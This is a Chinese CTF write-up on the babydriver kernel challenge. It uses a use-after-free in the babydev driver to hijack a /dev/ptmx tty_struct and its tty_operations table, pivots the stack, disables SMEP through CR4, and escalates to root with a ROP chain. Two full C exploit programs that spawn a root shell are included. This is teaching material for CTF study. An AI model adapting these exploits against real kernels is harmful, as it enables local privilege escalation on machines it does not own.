继通过 babydriver 入门后,再换个思路,解决这道题。
1.程序分析
参考系列(一)
回顾一下启动脚本:
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-gdb tcp::1234 \
2.利用思路
当执行 open("/dev/ptmx", O_RDWR | O_NOCTTY) 这样的操作会打开 ptmx 这种 tty 设备,申请一块内核空间,存放 tty_struct 结构体:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // target
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
需要注意的是其中第五个成员 tty_operations:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
这里存放了超级多的函数调用的指针,而且这些很容易被触发,比如使用设备的 open 操作就会触发其中的int (*open)(struct tty_struct * tty, struct file * filp);函数指针,使用 ioctl 就会触发其中的int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);函数,依次类推。
一般往往这是 pwn 利用的关键部分,(我的理解是类似于 IO 中的 vtable ),那么大致的思路就有了:
和第一次的利用方式一样,通过 UAF 控制一个 tty_struct 结构体,然后通过第二个设备修改 tty_struct 的第五个成员指向 fake_tty_operations,然后在这个 fake_tty_operations 中布置好接下来调用的指针指向我们接下来要执行的代码的位置,这样就使内核的执行流发生了转变,我们最终的目标是在内核态执行 commit_cred(prepare_kernel_cred(0)) 来进行提权后,返回用户态执行 system("/bin/sh") 来getshell
那么就有几个问题需要解决:
- 1.启动脚本中开启了 smep 保护,内核态不可以执行用户态代码,如何绕过?
smep 保护是否开启,完全由 CR4 寄存器的第 20 位是 0 还是 1 来决定,既然能控制执行流,那就可以使用 mov cr4,rdi; ret 这样的 gadget 修改CR4的值关闭SMEP 。
(可以看到第21位是 SMAP) - 2.但是包括绕过 smep 在内,还需要执行提权 shellcode,返回用户态等操作,只控制一次执行流是不够的,如何解决?
这就需要 ROP - 3.ROP 需要控制栈,但是内核栈又是用户无法控制的,如何解决?
需要进行栈迁移,具体来说就是通过内核里 gadget 的执行,栈指针 rsp 落到用户可知并可控的用户空间,在这个空间放入 ROP 链,然后完成接下来的操作。 - 4.用哪个gadget 可以满足条件?
xchg eax,esp;ret 这条 gadget 指令执行的效果是:rax 和 rsp 寄存器的低32位内容互换,而高32位全部清零 。还有一个前置知识是在 ioctl 函数中触发执行流转向的语句是 call rax,也就是说 rax 中保存了下一步要执行的 gadget 自身的地址 ,即执行流第一步转向的地址。如图:
如果是64位全部交换那么rsp肯定是内核地址,但是只交换低32位而高位清零后,rsp 就指向了用户空间。而这个用户空间地址是已知的,也就是 xchg eax,esp;ret 实际地址取低32位后的值。那么就可以使用 mmap 在这个地址附近申请内存块放置ROP链。
fake_ops.proc_fops = &fake_procfops;
fake_ops.ioctl = xchgeaxesp; // 修改 ioctl 指向转变执行流的 gadget
···
// 这里使用了堆喷的思想,但是不用这个也可以成功,因为是紧挨着就申请了
for(i=0;i<ALLOC_NUM;i++)
{
m_fd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if(m_fd[i] == -1)
{
printf("[-]The %d pmtx error\n",i);
}
}
printf("[+]open ptmx done\n");
printf("[+]Let's debug it\n");
printf("[+]addr of xchgeaxesp: %p\n",xchgeaxesp);
lower_addr = xchgeaxesp & 0xFFFFFFFF; // 获取低32位地址
base = lower_addr & ~0xFFF;
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base)
{
perror("mmap");
exit(1);
}
// 将 rop chain 复制到 lower_addr
unsigned long rop_chain[]= {
poprdiret,
0x6f0, // cr4 with smep disabled
native_write_cr4,
get_root_payload,
swapgs,
0, // dummy
iretq,
get_shell,
user_cs, user_rflags, base + 0x10000, user_ss
};
memcpy(lower_addr, rop_chain, sizeof(rop_chain));
+---------+<---Low mem addr
| RIP |
+---------+
| CS |
+---------+
| EFLAGS |
+---------+
| RSP |
+---------+
| SS |
+---------+<---High mem addr
接下来就是先将原本的 tty_struct 要修改的及其之前的内容读取出来,避免误改其他指针出错,然后修改完 fake_ops 再写回去:
len = read(fd1, buff2, 0x20);
*(unsigned long long*)(buff2+3*8) = &fake_ops;
len = write(fd1, buff2, 0x20);
最后调用 ioctl 触发:
ioctl(m_fd[i], 0, 0);//FFFFFFFF814D8AED call rax
综上,整个利用链就是:
通过 UAF 控制接下来申请的 dev/ptmx 的 tty_struct 结构体,达到一个如下的效果:
在 fake_ioctl 处布置 xchg eax, esp; ret,因为在执行 ioctl 之前会将下一条指令的地址保存在 rax 中,然后 call rax,所以此时 rax 中保存的 这条 gadget 的地址,所以在最后调用 ioctl 触发执行时便将其低 32 位地址互换,而这条 gadget 的低 32 位地址在用户空间,且已经题前布置好 rop chain,互换后就继续执行 shellcode 最后完成。
完整exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define COMMAND 0x10001
#define ALLOC_NUM 50
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long swapgs = 0xFFFFFFFF81063694;
void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
void get_shell()
{
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
struct tty_operations fake_ops;
char fake_procfops[1024];
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_affinity(int which_cpu)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(which_cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
{
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
int main()
{
int fd = 0;
int fd1 = 0;
int cmd;
int arg = 0;
char Buf[4096];
int result;
int j;
struct tty_struct *tty;
int m_fd[ALLOC_NUM],s_fd[ALLOC_NUM];
int i,len;
unsigned long lower_addr;
unsigned long base;
char buff2[0x300];
printf("[+]Save state...\n");
save_status();
printf("[+]save_state done\n");
printf("[+]Set affinity...\n");
set_affinity(0);
printf("[+]set_affinity done\n");
printf("[+]Prepare fake_ops and fake_procfops...\n");
memset(&fake_ops, 0, sizeof(fake_ops));
memset(fake_procfops, 0, sizeof(fake_procfops));
fake_ops.proc_fops = &fake_procfops;
fake_ops.ioctl = xchgeaxesp;
printf("[+]fake_tty_ops & fake_procfops prepare done\n");
printf("[+]addr of fake_ops: %p\n",&fake_ops);
printf("[+]addr of fake_procfops: %p\n",fake_procfops);
//open two babydev
printf("[+]Open two babydev...\n");
fd = open("/dev/babydev",O_RDWR);
fd1 = open("/dev/babydev",O_RDWR);
printf("[+]babyopen twice done\n");
//init babydev_struct
printf("[+]Init buffer for tty_struct(size:%d)...\n",sizeof(tty));
ioctl(fd,COMMAND,0x2e0);
ioctl(fd1,COMMAND,0x2e0);
printf("[+]babyioctl twice done\n");
//race condition
printf("[+]Free buffer 1st...\n");
close(fd);
printf("[+]free fd done\n");
printf("[+]Try to occupy tty_struct...\n");
for(i=0;i<ALLOC_NUM;i++)
{
m_fd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if(m_fd[i] == -1)
{
printf("[-]The %d pmtx error\n",i);
}
}
printf("[+]open ptmx done\n");
printf("[+]Let's debug it\n");
printf("[+]addr of xchgeaxesp: %p\n",xchgeaxesp);
lower_addr = xchgeaxesp & 0xFFFFFFFF;
base = lower_addr & ~0xFFF;
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base)
{
perror("mmap");
exit(1);
}
unsigned long rop_chain[]= {
poprdiret,
0x6f0, // cr4 with smep disabled
native_write_cr4,
get_root_payload,
swapgs,
0, // dummy
iretq,
get_shell,
user_cs, user_rflags, base + 0x10000, user_ss
};
memcpy(lower_addr, rop_chain, sizeof(rop_chain));
printf("[+]addr of mmap base: %p\n",base);
printf("[+]addr of ROP chain: %p\n",lower_addr);
printf("[+]addr of get_root_payload: %p\n",get_root_payload);
printf("[+]addr of get_shell: %p\n",get_shell);
//uaf here
printf("[+]Read tty_struct...\n");
len = read(fd1, buff2, 0x20);
if(len == -1)
{
perror("read");
exit(-1);
}
printf("[+]read tty_struct done\n");
//printf("read len=%d\n", len);
printf("[+]Head content of tty_struct(before):\n");
for(j =0; j < 4; j++)
{
printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
}
printf("[+]Modify tty_struct...\n");
*(unsigned long long*)(buff2+3*8) = &fake_ops;
printf("[+]modify tty_struct done\n");
printf("[+]Write back to tty_struct...\n");
len = write(fd1, buff2, 0x20);
if(len == -1)
{
perror("write");
exit(-1);
}
printf("[+]write back to tty_struct done\n");
printf("[+]Head content of tty_struct(after):\n");
for(j =0; j < 4; j++)
{
printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
}
printf("[+]Get shell...\n");
for(i = 0; i < 256; i++)
{
ioctl(m_fd[i], 0, 0);//FFFFFFFF814D8AED call rax
}
printf("[+]get shell done");
}
还有一种思路是看 ha1vk师傅博客时学到,是当对打开的/dev/ptmx进行操作时,会调用函数表中的相关函数,在实际调试时,对设备文件进行写操作,会调用到第一个函数,程序跳转到fake_tty_operations[0],将rax设置为rop的地址,后面一个 mov rsp,rax 将栈迁移到我们构造的rop中。所以首先将 fake_ops 中 write 处填上 babyread 的地址,方便下断点进行调试,然后当执行到该处时(也就是触发 wirte 向 prmx 的 fd 中写时,调用到 fake_ops -> write 这里,此时被修改为 babyread),其 rax 中保存了 fake_tty_operations 的地址:
那么如果把 fake_ops -> write 处修改为:
mov rsp,rax;
...........
ret
如下的 gadgets 便会跳到我们的 fake 的结构体中,然后在这个结构体中再布置 gadgets,跳到我们的 rop chain 中,最终 getshell。
size_t fake_tty_operations[35];
/*for (int i=0;i<35;i++) {
fake_tty_operations[i] = 0xffffffffc0000000 + i;
}*/
//这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
//fake_tty_operations里
fake_tty_operations[7] = MOV_RSP_RAX;
//栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
fake_tty_operations[0] = POP_RAX;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = MOV_RSP_RAX;
这里我在调试过程中学会了通过栈回溯查看调用过程的小技巧,其中有一些很奇妙但是解释不清的地方,只能猜测:
b babyread
断在给 ptmx 设备写处,效果如上图,此时栈回溯信息:
我一开始没弄懂栈回溯是什么意思,误以为这是调用 babyread 0x···130 处代码的指令,然后我去了这里发现根本没调用这个 babyread:
然后就在搜资料的过程中发现这位师傅博客中有一步调试是这样的:
这红箭头指向的下方的指令的地址不就是我在栈回溯中看到的指令吗?我直接正向调了一遍,反现栈回溯中压的应该调用该函数的命令的下一条命令的地址:
si 步入以后:
我自己想到的办法就是通过这样来查看调用指令,然后下次调试直接断在这里(0xc0c3):
可能会考虑到万一查看时 - 的偏移以后(如本例中 0x10)不是一个完整的汇编指令,会影响接下来的其他指令吗?亲测大概率不会:
但是如果发现有改变,就多试几次,最终看看当前的指令和 disarm 中的指令是否一致就可以了,例如本例中 0xc0c6 是 mov rdi, r14,和反汇编中的相同那就没错:
如果有师傅还知道其他更好的办法,欢迎指正!
这回 backtrace 和我迷惑的时候相同了,所以问题解决,下次会看栈回溯看看具体调用过程了。
完整 exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80
//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d
//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694
//iretq
#define IRETQ 0xFFFFFFFF8181A797
//commit_creds函数
#define COMMIT_CREDS 0xffffffff810a1420
// prepare_kernel_cred
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
#define POP_RAX 0xffffffff8100ce6e
void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}
void getShell() {
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}
int main() {
//保存用户态寄存器
saveUserState();
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}
//申请一个tty_struct大小的堆
ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
//释放这个堆
close(fd1);
size_t rop[0x100];
int i = 0;
rop[i++] = POP_RDI;
rop[i++] = 0x6f0;
rop[i++] = MOV_CR4_RDI;
rop[i++] = 0;
rop[i++] = (size_t)getRoot;
rop[i++] = SWAPGS;
rop[i++] = 0;
rop[i++] = IRETQ;
rop[i++] = (size_t)getShell;
rop[i++] = user_cs;
rop[i++] = user_flags;
rop[i++] = user_sp;
rop[i++] = user_ss;
size_t fake_tty_operations[35];
/*for (int i=0;i<35;i++) {
fake_tty_operations[i] = 0xffffffffc0000000 + i;
}*/
//这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
//fake_tty_operations里
fake_tty_operations[7] = MOV_RSP_RAX;
//栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
fake_tty_operations[0] = POP_RAX;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = MOV_RSP_RAX;
size_t fake_tty_struct[4];
//这个操作会申请tty_struct的空间,也就是会申请到我们之前释放的那个堆里,我们可以用fd2来对它操作
int fd_tty = open("/dev/ptmx", O_RDWR);
//我们先把原始的tty_struct前面的数据读出来,存储
read(fd2,fake_tty_struct,4*8);
//修改const struct tty_operations *ops;指针,指向我们伪造的tty_operations
fake_tty_struct[3] = (size_t)fake_tty_operations;
//把篡改过的tty_struct写回去
write(fd2,fake_tty_struct,4*8);
char buf[0x10];
write(fd_tty,buf,0x10);
return 0;
}
参考文章:
[1] https://blog.csdn.net/m0_38100569/article/details/100673103
[2] https://www.anquanke.com/post/id/86490
[3] https://www.dazhuanlan.com/2019/12/13/5df2ff2eb742b/
[4] http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/
[5] https://ctf-wiki.org/pwn/linux/kernel/bypass_smep/
[6] https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html
[7] https://www.jianshu.com/p/6f1d2f3f5126